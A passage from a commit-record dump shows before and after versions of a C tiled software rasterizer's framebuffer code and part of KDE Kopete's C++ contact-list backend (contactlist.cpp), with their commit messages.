FRAMEBUFFER_TILE_WIDTH_IN_PIXELS)\n\n\/\/ If there are too many commands and this buffer gets filled up,\n\/\/ then the command buffer for that tile must be flushed.\n#define TILE_COMMAND_BUFFER_SIZE_IN_DWORDS 128\n\ntypedef struct tile_cmdbuf_t\n{\n \/\/ start and past-the-end of the allocation for the buffer\n uint32_t* cmdbuf_start;\n uint32_t* cmdbuf_end;\n \/\/ the next location where to read and write commands\n uint32_t* cmdbuf_read;\n uint32_t* cmdbuf_write;\n} tile_cmdbuf_t;\n\ntypedef struct framebuffer_t\n{\n pixel_t* backbuffer;\n \n uint32_t* tile_cmdpool;\n tile_cmdbuf_t* tile_cmdbufs;\n \n uint32_t width_in_pixels;\n uint32_t height_in_pixels;\n \n \/\/ num_tiles_per_row * num_pixels_per_tile\n uint32_t pixels_per_row_of_tiles;\n\n \/\/ pixels_per_row_of_tiles * num_tile_rows\n uint32_t pixels_per_slice;\n} framebuffer_t;\n\nframebuffer_t* new_framebuffer(uint32_t width, uint32_t height)\n{\n \/\/ limits of the rasterizer's precision\n \/\/ this is based on an analysis of the range of results of the 2D cross product between two fixed16.8 numbers.\n assert(width < 16384);\n assert(height < 16384);\n\n framebuffer_t* fb = (framebuffer_t*)malloc(sizeof(framebuffer_t));\n assert(fb);\n\n fb->width_in_pixels = width;\n fb->height_in_pixels = height;\n\n \/\/ pad framebuffer up to size of next tile\n \/\/ that way the rasterization code doesn't have to handlep otential out of bounds access after tile binning\n uint32_t padded_width_in_pixels = (width + (FRAMEBUFFER_TILE_WIDTH_IN_PIXELS - 1)) & -FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t padded_height_in_pixels = (height + (FRAMEBUFFER_TILE_WIDTH_IN_PIXELS - 1)) & -FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n \n uint32_t width_in_tiles = padded_width_in_pixels \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t height_in_tiles = padded_height_in_pixels \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t total_num_tiles = width_in_tiles * height_in_tiles;\n\n fb->pixels_per_row_of_tiles = padded_width_in_pixels * FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n fb->pixels_per_slice = padded_height_in_pixels \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS * fb->pixels_per_row_of_tiles;\n\n fb->backbuffer = (pixel_t*)malloc(fb->pixels_per_slice * sizeof(pixel_t));\n assert(fb->backbuffer);\n \n \/\/ clear to black\/transparent initially\n memset(fb->backbuffer, 0, fb->pixels_per_slice * sizeof(pixel_t));\n\n fb->tile_cmdpool = (uint32_t*)malloc(total_num_tiles * TILE_COMMAND_BUFFER_SIZE_IN_DWORDS * sizeof(uint32_t));\n assert(fb->tile_cmdpool);\n\n fb->tile_cmdbufs = (tile_cmdbuf_t*)malloc(total_num_tiles * sizeof(tile_cmdbuf_t));\n assert(fb->tile_cmdbufs);\n\n for (uint32_t i = 0; i < total_num_tiles; i++)\n {\n fb->tile_cmdbufs[i].cmdbuf_start = &fb->tile_cmdpool[i * TILE_COMMAND_BUFFER_SIZE_IN_DWORDS];\n fb->tile_cmdbufs[i].cmdbuf_end = fb->tile_cmdbufs[i].cmdbuf_start + TILE_COMMAND_BUFFER_SIZE_IN_DWORDS;\n fb->tile_cmdbufs[i].cmdbuf_read = fb->tile_cmdbufs[i].cmdbuf_start;\n fb->tile_cmdbufs[i].cmdbuf_write = fb->tile_cmdbufs[i].cmdbuf_start;\n }\n\n return fb;\n}\n\nvoid delete_framebuffer(framebuffer_t* fb)\n{\n if (!fb)\n return;\n\n free(fb->tile_cmdbufs);\n free(fb->tile_cmdpool);\n free(fb->backbuffer);\n free(fb);\n}\n\nvoid framebuffer_resolve(framebuffer_t* fb)\n{\n\n}\n\nvoid framebuffer_pack_row_major(framebuffer_t* fb, uint32_t x, uint32_t y, uint32_t width, uint32_t height, pixelformat_t format, void* data)\n{\n assert(fb);\n assert(x < fb->width_in_pixels);\n assert(y < fb->height_in_pixels);\n assert(width <= fb->width_in_pixels);\n assert(height <= fb->height_in_pixels);\n assert(x + width <= fb->width_in_pixels);\n assert(y + height <= fb->height_in_pixels);\n assert(data);\n\n uint32_t topleft_tile_y = y \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t topleft_tile_x = x \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t bottomright_tile_y = (y + (height - 1)) \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t bottomright_tile_x = (x + (width - 1)) \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n \n uint32_t dst_i = 0;\n\n uint32_t curr_tile_row_start = topleft_tile_y * fb->pixels_per_row_of_tiles + topleft_tile_x * FRAMEBUFFER_PIXELS_PER_TILE;\n for (uint32_t tile_y = topleft_tile_y; tile_y <= bottomright_tile_y; tile_y++)\n {\n uint32_t curr_tile_start = curr_tile_row_start;\n\n for (uint32_t tile_x = topleft_tile_x; tile_x <= bottomright_tile_x; tile_x++)\n {\n for (uint32_t pixel_y = 0, pixel_y_bits = 0;\n pixel_y < FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n pixel_y++, pixel_y_bits = (pixel_y_bits - FRAMEBUFFER_TILE_Y_SWIZZLE_MASK) & FRAMEBUFFER_TILE_Y_SWIZZLE_MASK)\n {\n for (uint32_t pixel_x = 0, pixel_x_bits = 0;\n pixel_x < FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n pixel_x++, pixel_x_bits = (pixel_x_bits - FRAMEBUFFER_TILE_X_SWIZZLE_MASK) & FRAMEBUFFER_TILE_X_SWIZZLE_MASK)\n {\n uint32_t src_y = tile_y * FRAMEBUFFER_TILE_WIDTH_IN_PIXELS + pixel_y;\n uint32_t src_x = tile_x * FRAMEBUFFER_TILE_WIDTH_IN_PIXELS + pixel_x;\n\n \/\/ don't copy pixels outside src rectangle region\n if (src_y < y || src_y >= y + height)\n continue;\n if (src_x < x || src_x >= x + width)\n continue;\n\n uint32_t src_i = curr_tile_start + (pixel_y_bits | pixel_x_bits);\n pixel_t src = fb->backbuffer[src_i];\n if (format == pixelformat_r8g8b8a8_unorm)\n {\n uint8_t* dst = (uint8_t*)data + dst_i * 4;\n dst[0] = (uint8_t)((src & 0x00FF0000) >> 16);\n dst[1] = (uint8_t)((src & 0x0000FF00) >> 8);\n dst[2] = (uint8_t)((src & 0x000000FF) >> 0);\n dst[3] = (uint8_t)((src & 0xFF000000) >> 24);\n }\n else if (format == pixelformat_b8g8r8a8_unorm)\n {\n uint8_t* dst = (uint8_t*)data + dst_i * 4;\n dst[0] = (uint8_t)((src & 0x000000FF) >> 0);\n dst[1] = (uint8_t)((src & 0x0000FF00) >> 8);\n dst[2] = (uint8_t)((src & 0x00FF0000) >> 16);\n dst[3] = (uint8_t)((src & 0xFF000000) >> 24);\n }\n else\n {\n assert(!\"Unknown pixel format\");\n }\n\n dst_i++;\n }\n }\n\n curr_tile_start += FRAMEBUFFER_PIXELS_PER_TILE;\n }\n\n curr_tile_row_start += fb->pixels_per_row_of_tiles;\n }\n}\n\n\/\/ hack\nuint32_t g_Color;\n\nvoid rasterize_triangle_fixed16_8(\n framebuffer_t* fb,\n uint32_t window_x0, uint32_t window_y0, uint32_t window_z0,\n uint32_t window_x1, uint32_t window_y1, uint32_t window_z1,\n uint32_t window_x2, uint32_t window_y2, uint32_t window_z2)\n{\n}<commit_msg>changed order<commit_after>#include \"rasterizer.h\"\n\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n\/\/ Currently sized according to the Larrabee rasterizer's description\n#define FRAMEBUFFER_TILE_WIDTH_IN_PIXELS 128\n#define FRAMEBUFFER_COARSE_BLOCK_WIDTH_IN_PIXELS 16\n#define FRAMEBUFFER_FINE_BLOCK_WIDTH_IN_PIXELS 4\n\n\/\/ Convenience\n#define FRAMEBUFFER_PIXELS_PER_TILE (FRAMEBUFFER_TILE_WIDTH_IN_PIXELS * FRAMEBUFFER_TILE_WIDTH_IN_PIXELS)\n\n\/\/ The swizzle masks, using alternating yxyxyx bit pattern for morton-code swizzling pixels in a tile.\n\/\/ This makes the pixels morton code swizzled within every rasterization level (fine\/coarse\/tile)\n\/\/ The tiles themselves are stored row major.\n\/\/ For examples of this concept, see:\n\/\/ https:\/\/software.intel.com\/en-us\/node\/514045\n\/\/ https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/dn770442%28v=vs.85%29.aspx\n#define FRAMEBUFFER_TILE_X_SWIZZLE_MASK (0x55555555 & (FRAMEBUFFER_TILE_WIDTH_IN_PIXELS - 1))\n#define FRAMEBUFFER_TILE_Y_SWIZZLE_MASK (~FRAMEBUFFER_TILE_X_SWIZZLE_MASK & (FRAMEBUFFER_TILE_WIDTH_IN_PIXELS - 1))\n\n\/\/ If there are too many commands and this buffer gets filled up,\n\/\/ then the command buffer for that tile must be flushed.\n#define TILE_COMMAND_BUFFER_SIZE_IN_DWORDS 128\n\ntypedef struct tile_cmdbuf_t\n{\n \/\/ start and past-the-end of the allocation for the buffer\n uint32_t* cmdbuf_start;\n uint32_t* cmdbuf_end;\n \/\/ the next location where to read and write commands\n uint32_t* cmdbuf_read;\n uint32_t* cmdbuf_write;\n} tile_cmdbuf_t;\n\ntypedef struct framebuffer_t\n{\n pixel_t* backbuffer;\n \n uint32_t* tile_cmdpool;\n tile_cmdbuf_t* tile_cmdbufs;\n \n uint32_t width_in_pixels;\n uint32_t height_in_pixels;\n \n \/\/ num_tiles_per_row * num_pixels_per_tile\n uint32_t pixels_per_row_of_tiles;\n\n \/\/ pixels_per_row_of_tiles * num_tile_rows\n uint32_t pixels_per_slice;\n} framebuffer_t;\n\nframebuffer_t* new_framebuffer(uint32_t width, uint32_t height)\n{\n \/\/ limits of the rasterizer's precision\n \/\/ this is based on an analysis of the range of results of the 2D cross product between two fixed16.8 numbers.\n assert(width < 16384);\n assert(height < 16384);\n\n framebuffer_t* fb = (framebuffer_t*)malloc(sizeof(framebuffer_t));\n assert(fb);\n\n fb->width_in_pixels = width;\n fb->height_in_pixels = height;\n\n \/\/ pad framebuffer up to size of next tile\n \/\/ that way the rasterization code doesn't have to handlep otential out of bounds access after tile binning\n uint32_t padded_width_in_pixels = (width + (FRAMEBUFFER_TILE_WIDTH_IN_PIXELS - 1)) & -FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t padded_height_in_pixels = (height + (FRAMEBUFFER_TILE_WIDTH_IN_PIXELS - 1)) & -FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n \n uint32_t width_in_tiles = padded_width_in_pixels \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t height_in_tiles = padded_height_in_pixels \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t total_num_tiles = width_in_tiles * height_in_tiles;\n\n fb->pixels_per_row_of_tiles = padded_width_in_pixels * FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n fb->pixels_per_slice = padded_height_in_pixels \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS * fb->pixels_per_row_of_tiles;\n\n fb->backbuffer = (pixel_t*)malloc(fb->pixels_per_slice * sizeof(pixel_t));\n assert(fb->backbuffer);\n \n \/\/ clear to black\/transparent initially\n memset(fb->backbuffer, 0, fb->pixels_per_slice * sizeof(pixel_t));\n\n fb->tile_cmdpool = (uint32_t*)malloc(total_num_tiles * TILE_COMMAND_BUFFER_SIZE_IN_DWORDS * sizeof(uint32_t));\n assert(fb->tile_cmdpool);\n\n fb->tile_cmdbufs = (tile_cmdbuf_t*)malloc(total_num_tiles * sizeof(tile_cmdbuf_t));\n assert(fb->tile_cmdbufs);\n\n for (uint32_t i = 0; i < total_num_tiles; i++)\n {\n fb->tile_cmdbufs[i].cmdbuf_start = &fb->tile_cmdpool[i * TILE_COMMAND_BUFFER_SIZE_IN_DWORDS];\n fb->tile_cmdbufs[i].cmdbuf_end = fb->tile_cmdbufs[i].cmdbuf_start + TILE_COMMAND_BUFFER_SIZE_IN_DWORDS;\n fb->tile_cmdbufs[i].cmdbuf_read = fb->tile_cmdbufs[i].cmdbuf_start;\n fb->tile_cmdbufs[i].cmdbuf_write = fb->tile_cmdbufs[i].cmdbuf_start;\n }\n\n return fb;\n}\n\nvoid delete_framebuffer(framebuffer_t* fb)\n{\n if (!fb)\n return;\n\n free(fb->tile_cmdbufs);\n free(fb->tile_cmdpool);\n free(fb->backbuffer);\n free(fb);\n}\n\nvoid framebuffer_resolve(framebuffer_t* fb)\n{\n\n}\n\nvoid framebuffer_pack_row_major(framebuffer_t* fb, uint32_t x, uint32_t y, uint32_t width, uint32_t height, pixelformat_t format, void* data)\n{\n assert(fb);\n assert(x < fb->width_in_pixels);\n assert(y < fb->height_in_pixels);\n assert(width <= fb->width_in_pixels);\n assert(height <= fb->height_in_pixels);\n assert(x + width <= fb->width_in_pixels);\n assert(y + height <= fb->height_in_pixels);\n assert(data);\n\n uint32_t topleft_tile_y = y \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t topleft_tile_x = x \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t bottomright_tile_y = (y + (height - 1)) \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n uint32_t bottomright_tile_x = (x + (width - 1)) \/ FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n \n uint32_t dst_i = 0;\n\n uint32_t curr_tile_row_start = topleft_tile_y * fb->pixels_per_row_of_tiles + topleft_tile_x * FRAMEBUFFER_PIXELS_PER_TILE;\n for (uint32_t tile_y = topleft_tile_y; tile_y <= bottomright_tile_y; tile_y++)\n {\n uint32_t curr_tile_start = curr_tile_row_start;\n\n for (uint32_t tile_x = topleft_tile_x; tile_x <= bottomright_tile_x; tile_x++)\n {\n for (uint32_t pixel_y = 0, pixel_y_bits = 0;\n pixel_y < FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n pixel_y++, pixel_y_bits = (pixel_y_bits - FRAMEBUFFER_TILE_Y_SWIZZLE_MASK) & FRAMEBUFFER_TILE_Y_SWIZZLE_MASK)\n {\n for (uint32_t pixel_x = 0, pixel_x_bits = 0;\n pixel_x < FRAMEBUFFER_TILE_WIDTH_IN_PIXELS;\n pixel_x++, pixel_x_bits = (pixel_x_bits - FRAMEBUFFER_TILE_X_SWIZZLE_MASK) & FRAMEBUFFER_TILE_X_SWIZZLE_MASK)\n {\n uint32_t src_y = tile_y * FRAMEBUFFER_TILE_WIDTH_IN_PIXELS + pixel_y;\n uint32_t src_x = tile_x * FRAMEBUFFER_TILE_WIDTH_IN_PIXELS + pixel_x;\n\n \/\/ don't copy pixels outside src rectangle region\n if (src_y < y || src_y >= y + height)\n continue;\n if (src_x < x || src_x >= x + width)\n continue;\n\n uint32_t src_i = curr_tile_start + (pixel_y_bits | pixel_x_bits);\n pixel_t src = fb->backbuffer[src_i];\n if (format == pixelformat_r8g8b8a8_unorm)\n {\n uint8_t* dst = (uint8_t*)data + dst_i * 4;\n dst[0] = (uint8_t)((src & 0x00FF0000) >> 16);\n dst[1] = (uint8_t)((src & 0x0000FF00) >> 8);\n dst[2] = (uint8_t)((src & 0x000000FF) >> 0);\n dst[3] = (uint8_t)((src & 0xFF000000) >> 24);\n }\n else if (format == pixelformat_b8g8r8a8_unorm)\n {\n uint8_t* dst = (uint8_t*)data + dst_i * 4;\n dst[0] = (uint8_t)((src & 0x000000FF) >> 0);\n dst[1] = (uint8_t)((src & 0x0000FF00) >> 8);\n dst[2] = (uint8_t)((src & 0x00FF0000) >> 16);\n dst[3] = (uint8_t)((src & 0xFF000000) >> 24);\n }\n else\n {\n assert(!\"Unknown pixel format\");\n }\n\n dst_i++;\n }\n }\n\n curr_tile_start += FRAMEBUFFER_PIXELS_PER_TILE;\n }\n\n curr_tile_row_start += fb->pixels_per_row_of_tiles;\n }\n}\n\n\/\/ hack\nuint32_t g_Color;\n\nvoid rasterize_triangle_fixed16_8(\n framebuffer_t* fb,\n uint32_t window_x0, uint32_t window_y0, uint32_t window_z0,\n uint32_t window_x1, uint32_t window_y1, uint32_t window_z1,\n uint32_t window_x2, uint32_t window_y2, uint32_t window_z2)\n{\n}<|endoftext|>"} {"text":"<commit_before>\/*\n kopetecontactlist.cpp - Kopete's Contact List backend\n\n Copyright (c) 2005-2007 by Michael Larouche <larouche@kde.org>\n Copyright (c) 2002-2003 by Martijn Klingens <klingens@kde.org>\n Copyright (c) 2002-2004 by Olivier Goffart <ogoffart@kde.org>\n Copyright (c) 2002 by Duncan Mac-Vicar Prett <duncan@kde.org>\n\n Copyright (c) 2002-2004 by the Kopete developers <kopete-devel@kde.org>\n\n *************************************************************************\n * *\n * This library is free software; you can redistribute it and\/or *\n * modify it under the terms of the GNU Lesser General Public *\n * License as published by the Free Software Foundation; either *\n * version 2 of the License, or (at your option) any later version. *\n * *\n *************************************************************************\n*\/\n\n#include \"kopetecontactlist.h\"\n\n\/\/ Qt includes\n#include <QtCore\/QDir>\n#include <QtCore\/QRegExp>\n#include <QtCore\/QTimer>\n#include <QtCore\/QTextStream>\n\n\/\/ KDE includes\n#include <kabc\/stdaddressbook.h>\n#include <kapplication.h>\n#include <kdebug.h>\n#include <kglobal.h>\n#include <ksavefile.h>\n#include <kstandarddirs.h>\n\n\/\/ Kopete includes\n#include \"kopeteaccount.h\"\n#include \"kopeteaccountmanager.h\"\n#include \"kopetechatsession.h\"\n#include \"kopetecontact.h\"\n#include \"kopetedeletecontacttask.h\"\n#include \"kopetegroup.h\"\n#include \"kopetemetacontact.h\"\n#include \"kopetepicture.h\"\n#include \"kopetepluginmanager.h\"\n#include \"kopeteprotocol.h\"\n#include \"xmlcontactstorage.h\"\n\nnamespace Kopete\n{\n\nclass ContactList::Private\n{public:\n\t\/** Flag: do not save the contact list until she is completely loaded *\/\n\tbool loaded ;\n\n\tQList<MetaContact *> contacts;\n\tQList<Group *> groups;\n\tQList<MetaContact *> selectedMetaContacts;\n\tQList<Group *> selectedGroups;\n\n\tQTimer *saveTimer;\n\n\tMetaContact *myself;\n};\n\nContactList *ContactList::s_self = 0L;\n\nContactList *ContactList::self()\n{\n\tif( !s_self )\n\t\ts_self = new ContactList;\n\n\treturn s_self;\n}\n\nContactList::ContactList()\n\t: QObject( kapp )\n{\n\tsetObjectName( \"KopeteContactList\" );\n\td=new Private;\n\n\t\/\/the myself metacontact can't be created now, because it will use\n\t\/\/ContactList::self() as parent which will call this constructor -> infinite loop\n\td->myself=0L;\n\n\t\/\/no contact list loaded yet, don't save them\n\td->loaded=false;\n\n\t\/\/ automatically save on changes to the list\n\td->saveTimer = new QTimer( this );\n\td->saveTimer->setObjectName( \"saveTimer\" );\n\td->saveTimer->setSingleShot( true );\n\tconnect( d->saveTimer, SIGNAL( timeout() ), SLOT ( save() ) );\n\n\tconnect( this, SIGNAL( metaContactAdded( Kopete::MetaContact * ) ), SLOT( slotSaveLater() ) );\n\tconnect( this, SIGNAL( metaContactRemoved( Kopete::MetaContact * ) ), SLOT( slotSaveLater() ) );\n\tconnect( this, SIGNAL( groupAdded( Kopete::Group * ) ), SLOT( slotSaveLater() ) );\n\tconnect( this, SIGNAL( groupRemoved( Kopete::Group * ) ), SLOT( slotSaveLater() ) );\n\tconnect( this, SIGNAL( groupRenamed( Kopete::Group *, const QString & ) ), SLOT( slotSaveLater() ) );\n}\n\nContactList::~ContactList()\n{\n\tdelete d->myself;\n\tdelete d;\n}\n\nQList<MetaContact *> ContactList::metaContacts() const\n{\n\treturn d->contacts;\n}\n\n\nQList<Group *> ContactList::groups() const\n{\n\treturn d->groups;\n}\n\n\nMetaContact *ContactList::metaContact( const QString &metaContactId ) const\n{\n\tQListIterator<MetaContact *> it( d->contacts );\n\n\twhile ( it.hasNext() )\n\t{\n\t\tMetaContact *mc = it.next();\n\t\tif( mc->metaContactId() == metaContactId )\n\t\t\treturn mc;\n\t}\n\n\treturn 0L;\n}\n\n\nGroup * ContactList::group(unsigned int groupId) const\n{\n\tQListIterator<Group *> it(d->groups);\n\t\n\twhile ( it.hasNext() )\n\t{\n\t\tGroup *curr = it.next();\n\t\tif( curr->groupId()==groupId )\n\t\t\treturn curr;\n\t}\n\treturn 0L;\n}\n\n\nContact *ContactList::findContact( const QString &protocolId,\n\tconst QString &accountId, const QString &contactId ) const\n{\n\t\/\/Browsing metacontacts is too slow, better to uses the Dict of the account.\n\tAccount *i=AccountManager::self()->findAccount(protocolId,accountId);\n\tif(!i)\n\t{\n\t\tkDebug( 14010 ) << \"Account not found\";\n\t\treturn 0L;\n\t}\n\treturn i->contacts()[contactId];\n}\n\n\nMetaContact *ContactList::findMetaContactByDisplayName( const QString &displayName ) const\n{\n\tforeach(Kopete::MetaContact *contact, d->contacts)\n\t{\n\t\tif( contact->displayName() == displayName )\n\t\t{\n\t\t\treturn contact;\n\t\t}\n\t}\n return 0;\n}\n\nMetaContact* ContactList::findMetaContactByContactId( const QString &contactId ) const\n{\n\tQListIterator<Kopete::Account *> it( Kopete::AccountManager::self()->accounts() );\n\tKopete::Account *a;\n\twhile ( it.hasNext() )\n\t{\n\t\ta = it.next();\n\t\tContact *c=a->contacts()[contactId];\n\t\tif(c && c->metaContact())\n\t\t\treturn c->metaContact();\n\t}\n\treturn 0L;\n}\n\nGroup * ContactList::findGroup(const QString& displayName, int type)\n{\n\tif( type == Group::Temporary )\n\t\treturn Group::temporary();\n\n\tQListIterator<Group *> it(d->groups);\n\twhile ( it.hasNext() )\n\t{\n\t\tGroup *curr = it.next();\n\t\tif( curr->type() == type && curr->displayName() == displayName )\n\t\t\treturn curr;\n\t}\n\n\tGroup *newGroup = new Group( displayName, (Group::GroupType)type );\n\taddGroup( newGroup );\n\treturn newGroup;\n}\n\n\nQList<MetaContact *> ContactList::selectedMetaContacts() const\n{\n\treturn d->selectedMetaContacts;\n}\n\nQList<Group *> ContactList::selectedGroups() const\n{\n\treturn d->selectedGroups;\n}\n\nvoid ContactList::addMetaContacts( QList<MetaContact *> metaContacts )\n{\n\tforeach( MetaContact* mc, metaContacts )\n\t\taddMetaContact( mc );\n}\n\nvoid ContactList::addMetaContact( MetaContact *mc )\n{\n\tif ( d->contacts.contains( mc ) )\n\t\treturn;\n\n\td->contacts.append( mc );\n\n\temit metaContactAdded( mc );\n\tconnect( mc, SIGNAL( persistentDataChanged( ) ), SLOT( slotSaveLater() ) );\n\tconnect( mc, SIGNAL( addedToGroup( Kopete::MetaContact *, Kopete::Group * ) ), SIGNAL( metaContactAddedToGroup( Kopete::MetaContact *, Kopete::Group * ) ) );\n\tconnect( mc, SIGNAL( removedFromGroup( Kopete::MetaContact *, Kopete::Group * ) ), SIGNAL( metaContactRemovedFromGroup( Kopete::MetaContact *, Kopete::Group * ) ) );\n}\n\n\nvoid ContactList::removeMetaContact(MetaContact *m)\n{\n\tif ( !d->contacts.contains(m) )\n\t{\n\t\tkDebug(14010) << \"Trying to remove a not listed MetaContact.\";\n\t\treturn;\n\t}\n\n\tif ( d->selectedMetaContacts.contains( m ) )\n\t{\n\t\td->selectedMetaContacts.removeAll( m );\n\t\tsetSelectedItems( d->selectedMetaContacts, d->selectedGroups );\n\t}\n\n\t\/\/removes subcontact from server here and now.\n\tKopete::Contact *contactToDelete = 0;\n\tforeach( contactToDelete, m->contacts() )\n\t{\n\t\t\/\/ TODO: Check for good execution of task\n\t\tKopete::DeleteContactTask *deleteTask = new Kopete::DeleteContactTask(contactToDelete);\n\t\tdeleteTask->start();\n\t}\n\n\td->contacts.removeAll( m );\n\temit metaContactRemoved( m );\n\tm->deleteLater();\n}\n\nvoid ContactList::addGroups( QList<Group *> groups )\n{\n\tforeach( Group* g, groups )\n\t\taddGroup( g );\n}\n\nvoid ContactList::addGroup( Group * g )\n{\n\tif(!d->groups.contains(g) )\n\t{\n\t\td->groups.append( g );\n\t\temit groupAdded( g );\n\t\tconnect( g , SIGNAL ( displayNameChanged(Kopete::Group* , const QString & )) , this , SIGNAL ( groupRenamed(Kopete::Group* , const QString & )) ) ;\n\t}\n}\n\nvoid ContactList::removeGroup( Group *g )\n{\n\tif ( d->selectedGroups.contains( g ) )\n\t{\n\t\td->selectedGroups.removeAll( g );\n\t\tsetSelectedItems( d->selectedMetaContacts, d->selectedGroups );\n\t}\n\n\td->groups.removeAll( g );\n\temit groupRemoved( g );\n\tg->deleteLater();\n}\n\n\nvoid ContactList::setSelectedItems(QList<MetaContact *> metaContacts , QList<Group *> groups)\n{\n\tkDebug( 14010 ) << metaContacts.count() << \" metacontacts, \" << groups.count() << \" groups selected\";\n\td->selectedMetaContacts=metaContacts;\n\td->selectedGroups=groups;\n\n\temit metaContactSelected( groups.isEmpty() && metaContacts.count()==1 );\n\temit selectionChanged();\n}\n\nMetaContact* ContactList::myself()\n{\n\tif(!d->myself)\n\t\td->myself=new MetaContact();\n\treturn d->myself;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid ContactList::load()\n{\n\t\/\/ don't save when we're in the middle of this...\n\td->loaded = false;\n\t\n\tKopete::ContactListStorage *storage = new Kopete::XmlContactStorage();\n\tstorage->load();\n\tif( !storage->isValid() )\n\t{\n\t\tkDebug(14010) << \"Contact list storage failed. Reason: \" << storage->errorMessage();\n\t\td->loaded = true;\n\t\tdelete storage;\n\t\treturn;\n\t}\n\n\taddGroups( storage->groups() );\n\taddMetaContacts( storage->contacts() );\n\n\td->loaded = true;\n\tdelete storage;\n}\n\nvoid Kopete::ContactList::save()\n{\n\tif( !d->loaded )\n\t{\n\t\tkDebug(14010) << \"Contact list not loaded, abort saving\";\n\t\treturn;\n\t}\n\n\tKopete::ContactListStorage *storage = new Kopete::XmlContactStorage();\n\tstorage->save();\n\tif( !storage->isValid() )\n\t{\n\t\tkDebug(14010) << \"Contact list storage failed. Reason: \" << storage->errorMessage();\n\n\t\t\/\/ Saving the contact list failed. retry every minute until it works.\n\t\t\/\/ single-shot: will get restarted by us next time if it's still failing\n\t\td->saveTimer->setSingleShot( true );\n\t\td->saveTimer->start( 60000 );\n\t\tdelete storage;\n\t\treturn;\n\t}\n\n\t\/\/ cancel any scheduled saves\n\td->saveTimer->stop();\n\tdelete storage;\n}\n\nvoid ContactList::slotSaveLater()\n{\n\t\/\/ if we already have a save scheduled, it will be cancelled. either way,\n\t\/\/ start a timer to save the contact list a bit later.\n\td->saveTimer->start( 17100 \/* 17,1 seconds *\/ );\n}\n\nvoid ContactList::slotKABCChanged()\n{\n\t\/\/ TODO: react to changes in KABC, replacing this function, post 3.4 (Will)\n\t\/\/ call syncWithKABC on each metacontact to check if its associated kabc entry has changed.\n\/*\tfor ( MetaContact * mc = d->contacts.first(); mc; mc = d->contacts.next() )\n\n\t\tmc->syncWithKABC();*\/\n}\n\n\n} \/\/END namespace Kopete\n\n#include \"kopetecontactlist.moc\"\n\n\/\/ vim: set noet ts=4 sts=4 sw=4:\n\n<commit_msg>If group is named \"Top Level\", return actual top level group BUG:150258<commit_after>\/*\n kopetecontactlist.cpp - Kopete's Contact List backend\n\n Copyright (c) 2005-2007 by Michael Larouche <larouche@kde.org>\n Copyright (c) 2002-2003 by Martijn Klingens <klingens@kde.org>\n Copyright (c) 2002-2004 by Olivier Goffart <ogoffart@kde.org>\n Copyright (c) 2002 by Duncan Mac-Vicar Prett <duncan@kde.org>\n\n Copyright (c) 2002-2004 by the Kopete developers <kopete-devel@kde.org>\n\n *************************************************************************\n * *\n * This library is free software; you can redistribute it and\/or *\n * modify it under the terms of the GNU Lesser General Public *\n * License as published by the Free Software Foundation; either *\n * version 2 of the License, or (at your option) any later version. *\n * *\n *************************************************************************\n*\/\n\n#include \"kopetecontactlist.h\"\n\n\/\/ Qt includes\n#include <QtCore\/QDir>\n#include <QtCore\/QRegExp>\n#include <QtCore\/QTimer>\n#include <QtCore\/QTextStream>\n\n\/\/ KDE includes\n#include <kabc\/stdaddressbook.h>\n#include <kapplication.h>\n#include <kdebug.h>\n#include <kglobal.h>\n#include <ksavefile.h>\n#include <kstandarddirs.h>\n\n\/\/ Kopete includes\n#include \"kopeteaccount.h\"\n#include \"kopeteaccountmanager.h\"\n#include \"kopetechatsession.h\"\n#include \"kopetecontact.h\"\n#include \"kopetedeletecontacttask.h\"\n#include \"kopetegroup.h\"\n#include \"kopetemetacontact.h\"\n#include \"kopetepicture.h\"\n#include \"kopetepluginmanager.h\"\n#include \"kopeteprotocol.h\"\n#include \"xmlcontactstorage.h\"\n\nnamespace Kopete\n{\n\nclass ContactList::Private\n{public:\n\t\/** Flag: do not save the contact list until she is completely loaded *\/\n\tbool loaded ;\n\n\tQList<MetaContact *> contacts;\n\tQList<Group *> groups;\n\tQList<MetaContact *> selectedMetaContacts;\n\tQList<Group *> selectedGroups;\n\n\tQTimer *saveTimer;\n\n\tMetaContact *myself;\n};\n\nContactList *ContactList::s_self = 0L;\n\nContactList *ContactList::self()\n{\n\tif( !s_self )\n\t\ts_self = new ContactList;\n\n\treturn s_self;\n}\n\nContactList::ContactList()\n\t: QObject( kapp )\n{\n\tsetObjectName( \"KopeteContactList\" );\n\td=new Private;\n\n\t\/\/the myself metacontact can't be created now, because it will use\n\t\/\/ContactList::self() as parent which will call this constructor -> infinite loop\n\td->myself=0L;\n\n\t\/\/no contact list loaded yet, don't save 